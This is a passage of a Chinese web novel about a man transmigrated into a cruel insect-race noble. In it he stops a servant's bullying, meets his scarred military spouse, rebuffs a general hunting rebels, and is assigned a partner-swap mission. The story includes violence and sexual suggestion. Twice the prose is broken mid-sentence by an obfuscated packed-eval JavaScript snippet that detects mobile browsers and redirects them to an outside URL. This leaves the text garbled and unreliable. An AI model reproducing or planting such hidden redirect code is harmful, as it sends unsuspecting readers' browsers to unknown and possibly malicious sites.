等所有的准备结束,伽迩拿起叉子,缓慢而稳定地叉上盘子中间被切好的肉块。 厨师计算着上餐后水果的时间,不知不觉,已经看到不少干净到反光的餐盘,着急忙慌地赶去切水果。 有仆从面面相觑,但没有说话。 吃完后,伽迩擦了擦嘴角,正准备向仆从打探一下消息。 “啊!!” 一声惊呼,伽迩抬起头,见红发雌虫脚步踉跄地倒过来,在即将压在他身上的时候,扶住了椅背。不过即便如此,还是没站稳,撞到了他的身上。 “对,对不起。” 红发雌虫慌张地道歉,手脚并用地动作着,似乎也是想表达歉意。 但还没等伽迩反应,一声更高昂的惊呼在他的耳旁乍响:“莱利安,天!你怎么这么不小心啊!” 伽迩循声看去,见为他摆放餐具的雌虫已经拉开了红发雌虫,完全不顾后者的步伐不稳,冲上前来,用满怀歉意的忧虑语气说: “哦,少爷,您没事吧。对不起,他真的笨手笨脚。” “莱利安!你看你,尽惹少爷生气!”雌虫转头指责,手指戳在红发雌虫的头上,狠狠点了两下。 莱利安一脸惊恐,肩膀下意识地收缩,身体不住地发着抖,发间隐隐探出什么细长的东西。 伽迩沉默片刻,没心情再打探消息:“你们先下去吧。” “好的。” 雌虫回答得很快,立刻收回手,对伽迩俯身行礼,然后从餐车里拿出一根鞭子,双手递给伽迩。 伽迩停顿一下,接过鞭子,缓缓看向眼前微笑的雌虫。 “那我先下去了。”雌虫毕恭毕敬地说。 就在他后退几步,转身就要离开的时候,伽迩叫住了他:“等等。” 4. 检查身.体 雌虫转过身,微笑道:“少爷,您还有什么吩咐吗?” 他一样是红色头发,长了一张阳光帅气的脸,动作流畅,笑起来很容易让人心生好感。 相比之下,莱利安就没什么精气神。 伽迩的视线在雌虫和莱利安之间来回转动,雌虫自信地笑,莱利安却是将头埋得越来越低,与雌虫保持一段不远不近的距离。 作为原主他不应该发出声音,吃完,上楼,结束。 但回过神后,他却已经叫住了雌虫。 当所有虫的目光落在伽迩身上,等他的发言,空气都安静了下来。 伽迩面无表情地回视这群虫,无声地抿紧唇,然后低下头,看那根鞭子。 鞭子比昨晚他打诺菲西斯的那根还要可怖,密集的倒刺分布在上面,带出尖锐的弧度,除了鞭柄,几乎没有下手的地方。 所有虫都觉得伽迩是不太高兴的,他拿着那根鞭子,浑身沉浸在低气压里,好像随时会举起那根鞭子,像往常一样狠狠抽打在莱利安身上。 是的,很凶残、很无情。 但这才是常态。 就像他现在抬起来的脸一样,唇线绷得很紧,猩红的眸光躲藏在睫羽的阴影里,很阴郁、很冷酷,然后——— 然后特别冷酷地把它丢在地上。 “……” “……” “?” 冷酷呢?? 伽迩抬起脸,表情确实不妙,还有点凶:“你拿鞭子做什么。” 雌虫愣住了:“您不是需要……” 伽迩:“我没有说过要鞭子,我只是让你们先退下。” 暴力很可取吗? “而且不是你推他?” 诶? 这个消息令他们惊讶,其他仆虫齐齐看向雌虫,后者脸色一变,但很快恢复到原来的笑容: “我没有推他,少爷,您应该是看错了吧,我没理由推他啊………” 伽迩皱了皱眉,众虫都心惊肉跳:“我看到了。” 他十分固执地重复:“亲眼看到。” 虽然只是短短的一瞬间——— “你要是继续抵赖,我们去看监控。这里是有监控的吧?” 雌虫听到监控两个字,腿不自觉地发抖了,他完全没想到雄虫会提出这个可能,指甲扣进手心,笑容差点挂不住:“少,少爷,这点小事没必要看监控吧,浪费您的时间。” “少爷,智能系统要不了多久!”仆虫里发出一道声音。 “对,要不了多久,语音输入就好。” “我们雷索家族又不是低级星球的那些穷鬼,先进得很。” “叫XCY78过来,一切都能解决。” 仆虫们此起彼伏地叫唤。 他们早就看那个雌虫不顺眼了,欺负莱利安一只小虫崽不会说话,总做一些暗戳戳的坏事。 现在更是公然陷害。 雌虫恶狠狠地瞪过去,有一个仆虫冷笑道:“怎么,你心虚啊。” “我……” 伽迩完全听不懂这个XCY78是什么,因为记忆里没这个东西。他点点头,装很懂也是蛮心虚的,所以还轻咳了一声,掩饰不自在:“那就叫吧。” 雌虫没想到一件戏弄虫的小事会引来那么大的关注,当看见胖头圆身的矮小机器滚动滑轮,飞速地来到他的面前,摇摇欲坠的冷汗终于滴落下来。 “少爷,少爷!” 雌虫连忙下跪,脑门往地上撞,砸得砰砰作响。 “我错了,是我做的,我推了他!” “不用看监控了!” XCY78是现在最先进的智能机器型号,它连接了姆拉塔克拉的数据库,模拟了星球的主脑系统,现有小主脑之称。除非没电、主板损坏、黑客入侵,只要正常运转,任何由它管理的地段都能迅速调出信息,可以充作智能管家。 服侍雷索家多年的老管家去世,雷索家族最高掌权者——伽迩·雷索的爷爷尼鲁科·雷索卧病在他星修养,没有引入新管家的庄园,目前就是由XCY78来打理。 “扫描中……” XCY78的显示屏从瞪大的两个O.O变成了模糊的灰色花屏,下面的机箱自动打开,伸出一块扫描仪,对着莱利安和雌虫放出幽蓝的光。 雌虫知道没有侥幸的余地,一旦被XCY78自动上传到中心就完了,于是当机立断地认错,坐实了结果,恳求从轻发落。 承认得太快,连视频都还没看呢。 伽迩有些无语,看都不想看雌虫,哪曾想他竟膝行着爬到伽迩的脚边,抓住他的裤脚嚎叫:“少爷,我错了,我不是有意的,我是不小心,我没有想要打扰您用餐!” “少爷,请您原谅我吧!我真的知道错了!” “求您停下XCY78吧!!” 伽迩动了动腿,没扯动,正要说话,诺菲西斯适时地上前,将雌虫的手踩在地上。 “啊啊啊啊啊啊——” 清脆的声音从雌虫的手指骨传来,别说仆从,连伽迩都吓了一跳,喉头不自觉地滚了滚。 雌虫握着自己的手,这次是真切地在哀嚎,诺菲西斯的动作干脆利落,他们都是慢半拍才反应过来。 “你……”伽迩怔怔地看向诺菲。 诺菲西斯转过头,对他微微弯起嘴角:“雄主,还需要做什么吗?” 伽迩连忙摇头:“不,不用。”已经够了。 哎,这就是军人吗,看见不平的事太果断了。 雌虫的脸上鼻涕和眼泪混作一团,像被抽了骨的鼻涕虫瘫软在地上。或许他只是戏弄那个红发雌虫,又或许是完全的欺凌者,伽迩不得而知,但想想他前面做的事,得到折手的结果,也是他咎由自取吧。 “以后,不要再让我看到这种事了。” 伽迩神情中夹杂着认真,与其说是说给雌虫听,不如说是说给所有在场的虫听。 他经历过莱利安所经历过的事,不被信任的滋味尝过太多,所以至少在力所能及的范围内,他希望不要再有诬陷和伤害。 众虫们低下头,诚惶诚恐地说是。伽迩也不知道说什么,摸了一下鼻尖,深深叹了口气,随后背过身走上楼梯。 咯吱咯吱的脚步声走远,仆从迟迟没有说话。 直到诺菲西斯跟着上楼,身影彻底消失在拐角,才有细微的讨论声。 “少爷……” 有个雌虫犹豫地发出声音。 “你们有没有觉得……少爷他……” 其他仆从齐齐看向他,咽了口唾沫,有些紧张,也不知道在紧张什么。但那个雌虫戛然而止,支支吾吾许久,说不出后面那句。 最年长的厨师长拿下了头顶的帽子,一针见血: “少爷他变了。” 他叹息道:“你是想说这句话吧?” 仆从们静默半晌,很快就七嘴八舌地说起来:“对,以前他根本不会管这些事的。” “他最讨厌莱利安,因为他结巴。” “还会抽他。” “少爷用鞭子都是朝露肉的地方打,上次博纳的脖子都被抽出血,送进医院了呢。” 一个仆从说:“这次把鞭子丢了。” 另一个补充:“还说要看监控。” “少爷看不顺眼,打就对了,哪里会看监控啊。” “话也不能这么讲。” 厨师开口。 作为仆虫中的年长者,厨师在雷索家干了几十年的时光,他的话仆虫们还是很尊重的。 端盘子的仆虫好奇地问:“那您说,这少爷今天为什么和平日里不太一样啊?” 厨师没有第一时间回答,而是反问道:“你们想想昨晚是什么日子?” 什么日子? 仆从们还在琢磨,一个聪明的雌虫恍然大悟地拍手:“是少爷第一次和雌虫交……” “够了。” 厨师瞥了一眼楼梯口,低声打断:“知道就行,不要说出口。” 其他仆虫面面相觑地噤声。 是啊,昨天是新婚夜,少爷第一次身体肯定不适,怎么挥得动鞭子嘛。 “还有,马德里推了莱利安,才差点伤到少爷,他会对马德里生气也是当然。” 厨师瞥了瘫坐在地上的雌虫一眼,面露不屑地背过手:“监控嘛,可能少爷就是想证明自己没看错吧,年轻雄虫就是喜欢证明自己。” “也是他蠢,在雷索家不想着伺候少爷,尽做欺负虫的事,看,遭殃了。” “以后规矩行事,不要想着动歪脑筋,否则下场就是马德里。” 仆虫们打了个寒颤,纷纷说好。 厨师冷笑一声,掠过马德里后悔甚深的脸,摇了摇头。 没有贵族会要一个有小心机的污点雌虫做仆从。 既然少爷没有亲口原谅他,那么被XCY78记录过的马德里将没有未来,前途灰暗。 · 对以上对话一无所知的雄虫回房间,准备趁着这段时间研究一下虫族世界。系统不发声,他也不能回去,除了吃透这个世界他别无他法。 诺菲西斯跟着他进来,正要关门,伽迩回过头,对他说:“你在军部没有事吗?” 伽迩不知道怎么和雌虫相处,事实上他在蓝星上的人生,就是围绕着读书、打工以及孤儿院转。 恋爱从没有考虑过,更别说跳过这一步,直接结婚。 昨天他脑子犯浑,脱口而出那两个字,现在想想都烧得慌,幸好虫族没有这个词,诺菲西斯也听不懂。 “有婚假。” 伽迩问:“几天?” “二十天。” 伽迩瞪着眼,他还想着在诺菲西斯忙的时候,整理一下自己的思路,话说,军队可以放那么多天? “少,少爷。” 伽迩看向门外,发现莱利安站在门口,依旧是露出一个脑袋,红色的头顶毛茸茸,从里面探出两根长须: “那……那个。” “怎么?” 伽迩偷瞥莱利安的发顶,暗暗惊奇:虫族还真的是虫啊,连虫的触须都有吗。 莱利安一抖,手紧紧按着门板,高壮的身体如弓弯折,视线也朝向脚下的地板: “谢谢您……” “谢谢您证明我的清白。” 对比他窝囊又颓废的姿态,红发雌虫吐字清晰,仿佛在嘴里滚过一遍又一遍,看不出是一个拥有语言障碍的雌虫。 伽迩莫名想到同孤儿院的一个小孩,也是说话结巴,常常受欺负,越着急越磕绊,最后眼泪汪汪地过来抱着他的腿,瓮声瓮气地喊哥哥,有时候着急了,哥哥连一起就成了小鸡叫。 想到这,伽迩眉眼软和了一些,唇角微微翘起,但想到人设,摸鼻尖的时候又压回平直的线:“没什么。” 但这也足够令莱利安雀跃,他头顶的触须轻轻摇晃了一下,眼睛睁圆了看着伽迩,似乎是不可思议,好一会儿才从干涩的喉咙里挤出声音,磕绊地说:“真的,真的,非常……感谢您!” 他深深鞠了一躬,不等伽迩看清他的脸,便急急忙忙地跑走了。 被莱利安一打岔,伽迩紧绷的心情稍稍得到缓解。他忽然想到昨晚被系统“摁着头”施下的暴行,那种愧疚感又如丝如缕地纠缠上来,目光悄然在诺菲西斯的侧面扫动: “……你的伤口怎么样?” 话题转换得很快,但诺菲西斯依旧笑道:“已经好了。” 他转过身,脱去半边衣袖,衣服垂落下来,露出结满崎岖疤痕的后背:“您看,不影响美观。” 分明的肌肉均匀地在肩胛骨上蔓延而下,如连绵滑坠的山峦,优美且充满力度。而那些凌乱错落的褐色伤疤,却像刺破完美画布的尖锐荆棘,肆意攀生,徒增狰狞。 伽迩拳心微微收紧,张了张嘴,又闭上,从唇间发出一声冷漠的单音字:“嗯。” 这么多鞭下去,一定是很疼的。 可他却说不影响美观。 又是一阵长时间的沉默,诺菲西斯问:“您要摸摸看吗?” “摸……?” 伽迩抬起眼,下一秒,收紧的拳心被隔着冰冷皮革的手握住,紧接着被一根乱入的手指一点、一点地撑开。 雌虫早已来到他面前,背着身摸走伽迩的手,轻轻地贴在冷白的皮.肉上。 “您摸。” 诺菲西斯没有回头,伽迩只能看见他颈后垂下的数千银丝,听见轻笑的口吻像电流一样酥麻地窜过耳边: ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14921449|160369||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “都是您留下的……痕迹。” 皮肤是带有凉意的温滑,不免会碰到凹凸毛糙,肉.色的伤疤像地图上错综复杂的小路,在柔韧的肌肉上深深地扎根。 他的手指下是饱满紧实的弹床,暗藏着蓬勃的热度,每一处踩踏不像是恶趣味的挑.弄,更像是情.人之间的趣味游戏。 肩胛、再到腰.窝,热度由指腹和手背一同传来,像正在烹煮的热水,咕噜咕噜地冒出热气。 房间里一股潮湿闷热,不知道是加温器的缘故,还是皮肤上生出的热汗给出的错觉,茫然的雄虫不自觉地发起热意,手指已经被带着滑到雌虫脊椎的凹陷处,轻轻地打着旋。 那里有个轻微的凸起,不知道是什么东西,软软的,还有些弹,是一种很奇妙的触感,因为没接触过,反而让人深陷其中。 这时,伽迩才从空荡的思绪里收回神,猛然挣脱出手,神情慌乱地后退几步,指尖如铁烙般炙热灼烫:“你,你干什么。” 诺菲西斯整理好衣服,转过身,充满歉意地对雄虫笑了笑:“给您检查身体,抱歉,吓到您了吗?” “没有。” 伽迩当然不能承认。 纵使他毫无经验,可原主是被娇宠长大的少爷,就算没进行过实操,应该也看过不少调情的,根本不会被简单的抚摸给吓到。为了维持人设,他只能硬着头皮掰扯: “你太突然了。” 伽迩无理取闹地指责道:“没经过我的允许,自作主张。” “抱歉,请您……” “出去。”伽迩及时开口,赶在那句“责罚”以前:“不想看见你。” 两句话落下,画面一转,雌虫已经被推拒到门外,面前是一扇紧闭的大门。 诺菲西斯顿了顿,对着房门的方向看了许久,若有所思。 听到门后的脚步声逐渐远去,伽迩终于长舒一口气,捂住狂跳的心脏。 雌虫的身材高挑,即便只套了一件白色的衬衫,没有穿那身军装外套,依旧给他没由来的压力。 更、何、况、还、脱、衣、服! 想到那层白花花的皮.肤,他的大脑又像烧开了似的,立刻坐下来,按照记忆拿出书架上的东西,翻来看。 一页、两页。 七页、八页。 伽迩照着书念,像一个诵读课本的学生,十分认真:“虫族百年历史……诺索拉卡大军突破主星防御,虐杀数百只雄虫。” …… “虫族皇室重新洗牌,建立联邦制度。” …… “冕花螳退出皇室……彻底宣告灭绝。” 一个上午过去,直到雌虫来敲门,伽迩走马观花地翻了半本书,都不知道自己看了些什么。 满脑子只有那冷白的后背在他的眼前乱晃。 “雄主,摩拉斯中将找您。” 伽迩合上书,把桌面上的东西迅速收好,与门外的雌虫对视。诺菲西斯微笑地看着他,伽迩却立刻垂下眼,逃似得躲避他的视线。 “走吧。” 伽迩越过雌虫,以一种不紧不慢地速度前进,与诺菲西斯始终保持一定的距离。 诺菲西斯似乎没有察觉,亦步亦趋地跟在身后。 · “中……中将先生,请,请您坐下吧。” 快要下楼的时候,下面传来急切的声音,听起来是那个叫莱利安的雌虫。 伽迩走下来,停在距离来客几米处的地方,听见一道如梵钟的声音跟着响起: “不用。” 似乎是感知到他的到来,那如洪钟声音的主人刚说完就偏转过头,稳重的眸光直对上他的双目:“雷索阁下,很高兴见到您。” 「注意:重要角色摩拉斯·卡奈登已出现!」 “摩拉斯中将。” 显然,这个以高过仆从一个头的壮硕身体、立足于其间的男人就是摩拉斯中将。伽迩移步到沙发旁,伸出一只手:“坐。” 围绕中将的仆虫如浪潮散开,摩拉斯盯着那只清癯白净的手,微微怔愣。 不同于贫民窟里的低级雄虫,贵族雄虫接受着高等的礼仪教育,自小由专项教师或私立学校教授知识,享受财富带来的欢愉时,亦浸泡在绝对高雅的氛围中。 如果说世家雌虫是优雅知性的骑士宝剑,那么世家雄虫就是盛放在永恒温室瓶里的名贵花朵,馥郁芬芳,却矜贵傲然。 他们知礼节、也懂规则,平时该有的“礼貌”都有;他们不屑于在外虫面前动用血腥手段,因为那会弄脏他们的衣服和形象,当然,关起门来的腌臢丑恶就是另外一个故事了。 伽迩·雷索盛名在外,传闻和普通的贵族雄虫与众不同,是出了名的嚣张残酷、喜怒无常。他毫不在意自身的地位形象,随身携带一根骨刺长鞭,一言不合开抽的情况数不胜数。 摩拉斯和他的直接接触不多,以为是个不在乎礼数、态度恶劣的雄虫阁下,可难得意外,不管是昨晚的宴会还是今天中午的见面,伽迩的表现都符合一位贵族雄子的外在姿态。 摩拉斯把这些心声藏在心底,依言坐在了伽迩对面的沙发上,仆从从僵持的状态中解放,纷纷上来倒茶端水。 隔着前面的茶几,雌虫寸头下黝黑的面庞坚毅沉稳,看向伽迩的同时,左手握拳抵着右胸,略微前倾垂首:“请允许我为您的新婚献上最诚挚的祝福,阁下。” 伽迩双手放在两腿上,小幅度地摩挲着大腿上的布料:“xie……找我有什么事。” 摩拉斯掠过了叶昕发出的那声含糊不清的字节,直截了当地开口:“我想问您昨晚的时候,有没有遇到过可疑的雌虫。” [滴!滴!] 系统发出燥人的音量。 伽迩微微蹙眉,看着眼前显示屏上的白字破碎成黑白相间的马赛克,在几秒后组成新的文字。 「请完成主线任务:协助搜查。」 「目标:协助摩拉斯抓住一位参与劫狱计划的反叛军重要成员。」 「限时:83天」 「惩罚:电流4级」 在系统的蓝屏下,摩拉斯双手交握,目光沉沉,如凌厉的剑直击叶昕的眼眸: “所以阁下。” “您有遇到过这样的雌虫吗?” 5. 一针见血的雄虫 奇怪的雌虫? 伽迩的印象中自然蹦出了一个笑呵呵,看起来不怎么着调的形象。 好像是叫卡纳尔。 是诺菲西斯的……下官。 “有。” “是谁?” 摩拉斯的手掌撑在茶几上,强壮的上半身倾压上来,带着十足的压迫感。 这是一个任谁看到都会有几分胆寒的、充满侵略感的姿势。 但伽迩却握住了茶杯,表情不变地回复:“有很多。” “很多?” 到这里,摩拉斯就觉得有几分不对劲,可他还是侧耳选择听下去,毕竟对于那群狡猾的叛军卧底来说,大量潜入的可能性并不是没有。 但摩拉斯很快发现,自己错了。 错得离谱。 雄虫发出了一声单音,冷冷淡淡地说嗯,他就认为抓住了一丝线索,沉声问:“请告诉我是谁。” 他面带凶相,时常会引起雄虫的不喜,察觉到语气中的粗重,稍停片刻,又改声换调,用轻柔的语气重复一遍:“请告诉我是谁好吗,阁下。 伽迩放下茶杯,鸦羽扇动着看向他,雌虫给他十足的尊重,双手交叉,认真地等待他的发言。 他以为自己做的足够到位,得到的结果也不会差,可他根本没想到,雄虫说出的结果与他预想的完全不符:“我感觉你们都挺奇怪的。” “或者说在场的雌虫都很怪?” 摩拉斯:“……” 摩拉斯不自觉地皱了皱粗眉:“现在不是开玩笑的时候阁下。” “我没有开玩笑。” “您说所有的雌虫都奇怪这点难道不像个笑话吗?” 摩拉斯声音抬高,声音震耳,仆虫都面露惊恐,生怕另一位祖宗突然拿出一根鞭子,对眼前的壮雌抽上一下。 也许对两位不会有什么影响,但对他们绝对是虫生中不小的挑战。 “中将。”诺菲西斯笑了一下,眼神中带着警告:“您这是在吼雷索家唯一的雄子吗?” 摩拉斯对上诺菲西斯的眼睛,胸口起伏了两下,很快冷静下来,身体后仰,将不自觉散出的虫素收回:“没有这回事,抱歉,尊贵的雄虫阁下。” 仆虫们松了口气。 诺菲西斯弯下腰,握着茶壶的手柄,在伽迩的茶杯中倒入热水:“雄主,喝点水。” “阁下,我没有要凶斥您的意思。”摩拉斯松了松紧绷的领口,放缓了声音解释道:“事实上我想请求您的帮助。” “昨晚,有虫潜入了宴会中,对一些设施造成破坏,极有可能泄漏了信息,我怀疑会对您造成威胁。” “您知道的,布拉德斯科的反叛分子最近十分猖獗,有不少阁下遭遇不测,也有军部的机密被盗取。” “这关乎到整个星球的安危。” 摩拉斯诚恳道:“若您真的没见过可疑的雌虫,可否移交我们监控权限?” “我以黑石监狱最高执行官的身份及荣誉向您保证,不会泄露任何消息。” “为什么。”伽迩说。 他迅速地扫描着提示板,照着蓝屏读:“保护我的安全是你们要做的事,不是我要做的事情吧?” “监控权限,不会泄漏隐私……说得好听,真出现意外,你的荣誉担保能起到什么作用?” “没有权限你们就没办法抓捕叛军吗?” “姆拉塔克拉的监控系统去哪儿了?” “连叛军份子都抓不住,还那要你们这群虫子有什么用?” 伽迩一连轰下五个炸弹,摩拉斯烦躁地抓了抓头发,却发现他的所言一针见血。 他难得出来,受邀参加婚宴,享受美酒,贪杯之下喝了不少,直接睡在了外面。 姆拉塔克拉身为主星的智脑系统应该在察觉到威胁的时候发出警报,他们也相信这一点,才会毫无防备地留宿,可昨晚的聚会却没有收到任何信息,就被劫狱了。 叛军太狡猾,基本没留下痕迹,他找不到线索,想到为了确保劫狱的万无一失,那群叛军份子必然会安排雌虫监视他,打探他的行踪,所以叫下属调出他周边虫的名单后,立刻来雷索家申请监控权限。 叛军抓住即处决,而AS143是一个几乎完虫化的战斗狂,被关在中上层,摩拉斯完全想不到叛军会冒着暴露的风险带走他—— 该死,这群□□又在搞什么计划? “如你所说,是这样,但出现了一些小问题……”摩拉斯还想解释,但被伽迩打断: “小问题是什么?和我有关吗?” 他面色不动,只是垂下来的眼睛透出来的光,就看起来尤其轻蔑:“摩拉斯中将,我是尊重你,才会陪你在这里浪费时间。但我发现这完全没有用啊?” “你没发现这样只会继续展现你们的无能吗?哦,还是说你要承认自己是……咳,向一个雄虫可怜巴巴地寻求帮助?” 摩拉斯绷紧了下巴,没有说话。 众虫大气不敢出。 而伽迩却是头也不抬,就盯着手中的那杯茶,语气还颇有礼貌:“与其把目标投射在我身上,不如去找找身边的虫,去姆拉塔克拉寻求帮助,好歹能体现出你们的脑子不是自由水做的。” “好了,我累了,可以请你回去了吗中将先生?” 摩拉斯站起身,庞大的阴影落在伽迩的身上,如耸立的棕熊,不怒自威:“感谢您的配合,阁下。” “不客气。” 虽然知道不会有什么结果,摩拉斯还是被气笑了,深深地看了伽迩一眼,随后踩着沉重的脚步离开。 伽迩握着茶杯,直到摩拉斯的身影彻底消失才松开。 此时手心汗津津的,全是流下的冷汗。 他虚浮地握了握手,血管才堪堪回暖,指尖抗不住,有些许残留的僵硬。 直面摩拉斯的面容,挑拨他的言论,不亚于顶撞学校里的教导主任。 对于一直听话的学生有些过于刺激了…… 他反复扫视着文字,不断在心里默念,还删去了一些更过分的词藻,这才从嘴里吐出一句又一句。 但时间紧张,难免还是有不恰当的地方。 喝水是他应对这些,唯一可以压惊的方式。 伽迩心里默默为自己做心理建设,接下来这种事只会多不会少。 他真的怀疑有一天会不会翻车,被人摁在地上揍,或者……干掉? 仆虫们上来收拾茶几上的茶壶,没有吱声,生怕雄虫的不言是暴风雨前的平静。 幸好在东西全部理清后,伽迩都没有说什么。 事实上伽迩也慌了好一阵,他又想回到那间书房了,至少安静的空间可以带给他安全感,平复一下心情。 然而就在这时,蓝屏上消失的地方,却缓缓浮现出新的指示,他看到那一行字,表情微微一变。 “雄主,现在是午餐时间。” 诺菲西斯环上伽迩的椅背,温和道:“请问您要用餐吗?” “诺菲西斯。” “您请说。” “你的下官里有一个叫卡纳尔的是吗?” 诺菲西斯笑了笑,手指在椅背上轻点:“您问他做什么?” “把他带到这里来。” 伽迩细想片刻,隐隐有些猜测,雷索家族的庄园从宴会场地到婚房需穿过一个花园,一栋楼,外加数条走廊,才能以最近的距离到达,其中包含重重守卫不计可数。 就连他也是根据系统的指示,乘坐着居家车具,经过守卫的审核,才能在几分钟内到达婚房。 卡纳尔又是怎么默不作声地来到门前? 目标是协助摩拉斯抓住一位参与劫狱计划的反叛军核心成员,卡纳尔与这个任务会是什么关系? 系统下达了可以让卡纳尔来雷索家的建议,这些伽迩必然不会和诺菲说,毕竟解释起来很复杂,要用各种话术圆。 反叛军的事也只是他的猜测,若冤枉了好人怎么办。 他还在想,诺菲西斯绕过椅子,眼睫微微垂下,漫不经心地开口:“您是想要新雌侍了吗?” 伽迩回过神,看见雌虫眼下的落寞,突然有些无措:“不是,我没准备要新雌侍。” “是吗?” 诺菲西斯抬起伽迩的手,深邃的眼眸温柔 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14921450|160369||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 地注视着他:“我以为雄主不喜欢我了,想要新的。” “没有……”伽迩摇头。 他的眼睛里盛满了笑意,缓缓放下掌心中发颤的手指:“那就好。” “如果您对我有什么不满意,请不要憋在心里,尽情发泄在我的身上吧,我永远都会是您最忠诚的仆虫。” “我喜欢您的直率,就像我们第一次约会那样,很让虫心动。”诺菲西斯眨了眨眼睛,俏皮地笑了笑。 伽迩连忙低下头,盯着自己的鞋尖:“我知道了。” “您想让卡纳尔过来是吗?” 诺菲西斯招来仆从,让他们准备一些食物,摆放餐具的时候说:“我很想满足您这个心愿,但遗憾的是,他这几天要出外勤,没有几个月回不了姆兰塔克拉。” “您若是有什么事,我可以代为转达,或者您想强制召回他?” “不,不至于。” 伽迩看了眼面版,虽然不知道系统要干什么,但卡纳尔的到来似乎不是必须走的路线。 他还是别给其他人添麻烦了。 “这几天休息,雄主想去哪里玩?我陪您一起。”诺菲西斯从仆从的手中拿过汤勺,在运来的一锅里舀出一勺浓汤,轻巧地舀入盘中。 他始终聊着天,即便对面的回复少得可怜,甚至说冷漠,但他还是像个循循善诱的引导者,找着各种话题,不让场面冷却。 “我记得拉姆有一座异兽农场,有很多可爱的异兽崽,后面是游乐园,很有名,我恰好有两张门票。” 诺菲西斯又从仆从震惊的目光中拿走他手中的餐巾,认真地在雄虫的领口系上:“当然,去外星球也是不错的选择,B470是纯天然的水星球,呼吸很新鲜,水上乐园也很多。” “还有拉斯维斯,最大的角斗场,自诩强大的雌虫会在那里与异兽搏斗,以获取雄虫阁下们的青睐。” 诺菲西斯挺直腰,对伽迩微微一笑,他在这方面的知识堪称博学,娓娓道来间,伽迩不知不觉听入迷了。 伽迩原本还有些紧张,现在倒是忍不住问出口:“异兽不是军队一直想灭杀的东西吗?可各种星球都有异兽农场。” 诺菲西斯已经提及好几家异兽农场了。 “异兽和异形还是不一样的,前者是资本家包装过的无害生命体,它们伪装成凶猛又可爱的外形,吸引大量的客虫,本质上不会对您的生命造成威胁。但异形,千奇百怪,是没办法驯服,且危险的生物。” 诺菲西斯切好肉,放置在伽迩面前:“您请用。” 伽迩觉得很不好意思,自己在这里埋头吃,让诺菲西斯服务自己。 “你也吃。” “感谢您的恩典。” 食不言寝不语,虫族贵族似乎也有这项礼仪,两虫没再说话,安静地把午餐吃完。 转眼,数天过去。 诺菲西斯的服务周到,虫又风趣,一头白色的长发既吸睛,又漂亮,伽迩一直被贴身照顾,想找机会脱身都有些困难。 毕竟谁会避开新婚妻子,成天泡在书房里? 伽迩对这些奇妙的地方充满兴趣,但协助任务像悬在头上的利剑,让他实在没心情出去玩,各种理由拒绝了相约。 他的前途未卜,连能不能回蓝星都是个未知数。 傍晚的时候,伽迩被系统警告,原因是原主很喜欢一款游戏,最近新赛季开始,再不打排名下降,这也是不符合原主虫设的表现。 伽迩无可奈何,在视频里学习游戏的基本规则,戴上头盔,开始上手操作。 几个小时后…… 嘿嘿,游戏真好玩。 长时间没玩过游戏的雄虫一发不可收拾地陷入游戏的漩涡里,某种程度上和原主的虫设高度重合。 既来之则安之。 某种程度上,伽迩还是比较乐观的性格。 他操控着面板,正准备加入下一个匹配中去,游戏的好友列表出现一条信息。 以为是要和他组队的游戏好友,伽迩取消了匹配,他对这方面一般来者不拒。 直到他看见了信息的内容,表情才变得有几分古怪。 6. 完美的地下宴 伽迩看到消息的时候,不祥的预感已经油然而生。 那个叫「高等雄虫A」的家伙发来了一堆质问,紧接着是一些不愉快的表情。 伽迩不想理他,反正也看不懂,结果他又发来了一句话,硬是用远程技能将他控制在了原地。 「该死,你不会忘记我们的→o雌虫的约定了吧?」 伽迩“啊”了一声,手指立刻放在“拉黑”的键上。 原来是个神金。 神金还有什么好聊的。 伽迩正要点下,谁知更神金的系统又在狗叫,寻找叛军的任务往上飞速地滑,很快出现一条新任务。 「请完成主线任务:完美的地下宴」 「目标:携带诺菲西斯参加地下宴的交换雌虫活动,并成功与一名雄虫交换雌侍。」 「限时:3天」 「惩罚:电流5级」 · 诺菲西斯坐在雄虫身旁的沙发上看书,军部的上层很给雄虫面子,这几天没传来工作,他也轻松闲暇了一段时间。 雄虫意外地很“乖”,也没有整出什么幺蛾子,甚至让他有些怀疑虫壳里换了一只虫。 不过,按照雄虫的恶趣味,时而低迷时而高扬的剧情更加有趣? 他慵懒地陷入柔软的皮毛中,懒得思考雄虫想什么,数着不知道看到的第几页,直到听见垫子拖动的声音才抬起眼。 “雄主,需要什么,我帮您拿。”诺菲西斯合上手里的书,腿轻轻放下。 这样的对话一天不下十几遍,他很早就习惯了。 雄虫似乎不太习惯,总是露出那种说不清的表情,犹豫许久才说出话。 现在,雄虫也露出那种说不清的表情,脚下有些踌躇难定,他的鞋子始终不踏入沙发的圈子,活像是什么绝对禁区。 诺菲细斯觉得好笑,若非眼前的雄虫是恶名昭彰的伽迩·雷索,不知道的虫还以为是什么刚入虫世的纯情雄子。 “明天,我要参加一场地下宴会。” 伽迩说得缓慢,眼神还在偷瞟自己。 诺菲西斯的笑容淡了些:“地下宴会?需要我做些什么吗。” “……陪我去。” “嗯?” 诺菲西斯微微弯腰,附身过去,耳朵凑到雄虫的唇边,轻声问:“抱歉,我没听见,您能再说一遍吗?” 耳边迟迟没发出声音,诺菲西斯耐心地等待,一股热气轻轻吐在他的耳廓处,发着颤:“诺菲。” “陪我去地下宴,好吗?” 